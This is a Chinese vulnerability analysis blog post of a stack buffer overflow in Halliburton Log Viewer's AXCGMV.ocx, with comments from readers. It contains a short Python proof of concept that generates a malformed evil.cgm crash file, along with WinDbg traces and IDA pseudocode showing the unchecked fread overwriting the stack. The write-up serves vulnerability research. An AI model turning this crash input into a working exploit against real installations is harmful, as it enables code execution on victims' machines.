作者:k0shl 转载请注明出处
漏洞说明
软件下载:
https://www.exploit-db.com/apps/dbce915ea07d5f6367e0e9d93b3ddbac-Halliburton_Log_Viewer.exe
PoC:
#!/usr/bin/python
file="evil.cgm"
buffer = "A"*804 + "B"*4
file = open(file, 'w')
file.write(buffer)
file.close()
测试环境:
windows xp sp3
调试软件:
windbg
IDA pro 6.8
漏洞复现
Halliburton LogView是一款综合文件格式处理的软件,在这个软件中有一个动态链接库AXCGMV.ocx在调用处理文件时,由于对文件读取时没有对文件长度进行控制,从而导致字符串覆盖,由于我在测试时SafeSEH的存在,导致程序会在中途报错退出,但不影响整体分析。
首先,附加Windbg,打开PoC,程序崩溃,到达崩溃位置。
eax=7ffd9000 ebx=0012dbd0 ecx=0012d4ec edx=7c92e4f4 esi=0012dbcc edi=00000000
eip=7c92e4f4 esp=0012d758 ebp=0012d768 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
这里直接调用KiFastSystemCallRet返回了,来看一下程序堆栈调用情况。
0:000> kb
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\HALLIB~1\HALLIB~1\AXCGMV~1.OCX -
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012d768 101929c0 ffffffff c0000409 2dddc7fb ntdll!KiFastSystemCallRet
0012daa0 1018a67f 42000580 00000000 00000000 AXCGMV_1!DllRegisterServer+0x18f4b3
0012daa4 42000580 00000000 00000000 ffffffff AXCGMV_1!DllRegisterServer+0x187172
0012daa8 00000000 00000000 ffffffff 00008000 0x42000580
来回溯一下最近的函数调用。
.text:1018A66D loc_1018A66D: ; CODE XREF: sub_1018A310+DDj
.text:1018A66D ; sub_1018A310+393_x0019_j ...
.text:1018A66D mov ecx, [esp+0C8h+var_4]
.text:1018A674 pop edi
.text:1018A675 pop esi
.text:1018A676 pop ebp
.text:1018A677 pop ebx
.text:1018A678 xor ecx, esp
.text:1018A67A call @__security_check_cookie@4 ; __security_check_cookie(x)
可以看到,在系统中断前,最后一次调用的是security_check_cookie,其实这是safeseh的处理流程,正常情况下,这里会由于seh指针被覆盖导致safeseh检查不通过从而中断,否则可以利用seh指针远程代码执行。
漏洞分析
首先我在一处函数中找到一处有趣的调用。通过IDA看一下这个函数的伪代码。
int __cdecl sub_101846F0(char *a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10)
dword_1029C5B8 = 0;
dword_10290420 = 9;
dword_10290424 = 23;
v10 = fopen(a1, v54);
v11 = v10;
LABEL_13:
v55 = 1;
fseek(v11, 0, 0);
sub_1018A850(v11, (int)&v57, (int)&v56, (int)&v58, (int)&v55);
size_t __cdecl sub_1018A850(FILE *a1, int a2, int a3, int a4, int a5)
v5 = a1;
if ( dword_1029C5FC == 1 )
{
sub_1018A310(v5, (_DWORD *)a2, a3, (int *)a4, (int)&unk_1029C5F0, &dword_1029C604, &dword_1029C608);
sub_101846F0函数中会对a1文件进行打开,之后把打开后的文件句柄交给v10,这个文件句柄随后会传给v11之后作为第一个参数进入sub_1018a850,动态跟踪一下这个过程。
Breakpoint 0 hit
eax=00bf4480 ebx=00bf2ae8 ecx=0012dc80 edx=0012dcb4 esi=00000000 edi=00bf4480
eip=10184749 esp=0012dbb0 ebp=0012dc2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x18123c:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.6161_x-ww_31a54e43\MSVCR90.dll -
10184749 ff15b8b03110 call dword ptr [AXCGMV_1!DllCanUnloadNow+0x17f3c3 (1031b0b8)] ds:0023:1031b0b8={MSVCR90!fopen (785501a2)}
0:000> dd esp
0012dbb0 00bf4480 101ffb0c 00bf4480 00000001
0012dbc0 00bf2ae8 00bf2ae8 00000000 00390000
0012dbd0 00000000 00bf4480 0012dc00 00000000
0012dbe0 00000040 00000000 00390000 0012d9e4
0012dbf0 00000000 0012ddfc 7c92e900 7c9301c0
0012dc00 ffffffff 7c9301bb 00000000 00000000
0012dc10 00000000 00000000 00000000 00000000
0012dc20 00000000 00000000 78a34bdd 0012de0c
0:000> dc 00bf4480
00bf4480 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00bf4490 74655320 676e6974 64415c73 696e696d Settings\Admini
00bf44a0 61727473 5c726f74 6c697665 6d67632e strator\evil.cgm
00bf44b0 00000000 00000000 0008000f 010c01be ................
这里fopen打开的就是PoC,文件接下来打开文件后,会获取到文件指针并进行传递。
0:000> p
Breakpoint 0 hit
eax=00bf4480 ebx=00bf2ae8 ecx=0012dc80 edx=0012dcb4 esi=00000000 edi=00bf4480
eip=10184749 esp=0012dbb0 ebp=0012dc2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x18123c:
10184749 ff15b8b03110 call dword ptr [AXCGMV_1!DllCanUnloadNow+0x17f3c3 (1031b0b8)] ds:0023:1031b0b8={MSVCR90!fopen (785501a2)}
0:000> p
eax=785b7408 ebx=00bf2ae8 ecx=78550192 edx=00bf43e0 esi=00000000 edi=00bf4480
eip=1018474f esp=0012dbb0 ebp=0012dc2c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
AXCGMV_1!DllRegisterServer+0x181242:
1018474f 8bd8 mov ebx,eax
eax的值为785b7408,也就是最后获得的文件句柄。随后关注到后续的函数调用。
0:000> g
Breakpoint 1 hit
eax=0012dbd4 ebx=785b7408 ecx=0012dbcc edx=0012dbd0 esi=00000001 edi=78550a2a
eip=10184806 esp=0012db98 ebp=0012dc2c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
AXCGMV_1!DllRegisterServer+0x1812f9:
10184806 e845600000 call AXCGMV_1!DllRegisterServer+0x187343 (1018a850)
0:000> dd esp
0012db98 785b7408 0012dbd0 0012dbcc 0012dbd4
函数调用时,第一个参数,也就是畸形文件句柄会作为第一个参数传入,接下来跟入这个函数。
size_t __cdecl sub_1018A850(FILE *a1, int a2, int a3, int a4, int a5)
v5 = a1;
if ( dword_1029C5FC == 1 )
{
sub_1018A310(v5, (_DWORD *)a2, a3, (int *)a4, (int)&unk_1029C5F0, &dword_1029C604, &dword_1029C608);
去除掉函数中无用的部分,可以看到a1句柄会交给v5,接下来在函数sub_1018A310作为参数传入,动态跟踪一下这个过程。
0:000> bp 1018a973
0:000> g
Breakpoint 2 hit
eax=0012dbd4 ebx=0012dbd0 ecx=7c9301bb edx=0012dbc8 esi=0012dbcc edi=00000000
eip=1018a973 esp=0012db64 ebp=785b7408 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x187466:
1018a973 e898f9ffff call AXCGMV_1!DllRegisterServer+0x186e03 (1018a310)
0:000> dd esp
0012db64 785b7408 0012dbd0 0012dbcc 0012dbd4
这里其实会继续对文件参数传入,接下来跟入的函数,就是漏洞触发的关键函数。
这个关键函数中,会有一处while语句,其中会调用fread对文件内容进行读取。
result = fread(&v21, 1u, 1u, v26);
if ( !result )
break;
if ( result != 1 )
return result;
if ( feof(v26) )
{
v20 = v29;
*v28 = 0;
*v20 = 2;
LABEL_49:
result = 0;
}
动态看一下这个读取过程。
0:000> g
Breakpoint 1 hit
eax=0012daab ebx=00000001 ecx=ffffffe0 edx=785b7408 esi=00000000 edi=00bf5620
eip=1018a3d9 esp=0012da88 ebp=00000000 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
AXCGMV_1!DllRegisterServer+0x186ecc:
1018a3d9 ff15b0b03110 call dword ptr [AXCGMV_1!DllCanUnloadNow+0x17f3bb (1031b0b0)] ds:0023:1031b0b0={MSVCR90!fread (785506a6)}
0:000> p
eax=00000001 ebx=00000001 ecx=7855065f edx=00bf43e0 esi=00000000 edi=00bf5620
eip=1018a3df esp=0012da88 ebp=00000000 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
AXCGMV_1!DllRegisterServer+0x186ed2:
1018a3df 83c410 add esp,10h
0:000> dd 0012daab
0012daab 00000041 00000000 ffffff00 008000ff
读取完毕后,0012daab位置取到了一个字节41,也就是畸形字符串,接下来会进行连续读取。
Breakpoint 0 hit
eax=00000000 ebx=00000194 ecx=0012dbd0 edx=0012dbcc esi=00000000 edi=00bf5620
eip=1018a66d esp=0012da98 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x187160:
1018a66d 8b8c24c4000000 mov ecx,dword ptr [esp+0C4h] ss:0023:0012db5c=41414141
0:000> dd 0012db5c
0012db5c 41414141 41414141 41414141 41414141
0012db6c 41414141 41414141 41414141 41414141
0012db7c 41414141 41414141 41414141 41414141
0012db8c 41414141 41414141 41414141 41414141
0012db9c 41414141 41414141 41414141 41414141
0012dbac 41414141 41414141 41414141 41414141
0012dbbc 41414141 41414141 41414141 41414141
0012dbcc 00000002 00000000 41414141 41414141
当读取完毕后程序进入到退出流程,这个时候已经有关键位置被覆盖。
0:000> p
eax=00000000 ebx=00000194 ecx=41414141 edx=0012dbcc esi=00000000 edi=00bf5620
eip=1018a674 esp=0012da98 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x187167:
1018a674 5f pop edi
0:000> p
eax=00000000 ebx=00000194 ecx=41414141 edx=0012dbcc esi=00000000 edi=00000000
eip=1018a675 esp=0012da9c ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x187168:
1018a675 5e pop esi
0:000> p
eax=00000000 ebx=00000194 ecx=41414141 edx=0012dbcc esi=0012dbcc edi=00000000
eip=1018a676 esp=0012daa0 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x187169:
1018a676 5d pop ebp
0:000> p
eax=00000000 ebx=00000194 ecx=41414141 edx=0012dbcc esi=0012dbcc edi=00000000
eip=1018a677 esp=0012daa4 ebp=785b7408 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x18716a:
1018a677 5b pop ebx
0:000> p
eax=00000000 ebx=0012dbd0 ecx=41414141 edx=0012dbcc esi=0012dbcc edi=00000000
eip=1018a678 esp=0012daa8 ebp=785b7408 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AXCGMV_1!DllRegisterServer+0x18716b:
1018a678 33cc xor ecx,esp
0:000> p
eax=00000000 ebx=0012dbd0 ecx=41539be9 edx=0012dbcc esi=0012dbcc edi=00000000
eip=1018a67a esp=0012daa8 ebp=785b7408 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
AXCGMV_1!DllRegisterServer+0x18716d:
1018a67a e88d760000 call AXCGMV_1!DllRegisterServer+0x18e7ff (10191d0c)
ecx的值已经被覆盖,在1018a67地址位置,会进行safeseh检查,随后报错程序退出。可以看到整个过程AXCGMV.ocx中并没有对文件长度进行检查,而是直接连续读取,从而导致了问题的发生。
testtest
k0师傅最帅最强最牛逼
K0师傅最帅
要是能分享些您在seebug上的文章就更好啦^v^
k0师傅最帅最强最牛逼
k0师傅,跟着调试的时,进行到 “首先,附加Windbg,打开PoC,程序崩溃,到达崩溃位置。”这一步骤的时候,程序并没有崩溃退出,应该如何继续分析
@00c 您可以尝试在启动进程后先把调试器attach到进程上,然后在我博客中提到的一些关键断点下断点,比如AXCGMV_1!DllRegisterServer+0x187160,之后打开PoC,看看有没有命中断点,命中了可以继续调试看看为什么没有崩溃,如果没命中可以再尝试往更外层函数下断点,看看是哪里没有进入到漏洞函数。
@00c 可以下载Windows XP Home with Service Pack 3 (x86) - CD Retail (English)这个版本,其他的系统版本会出现一些问题。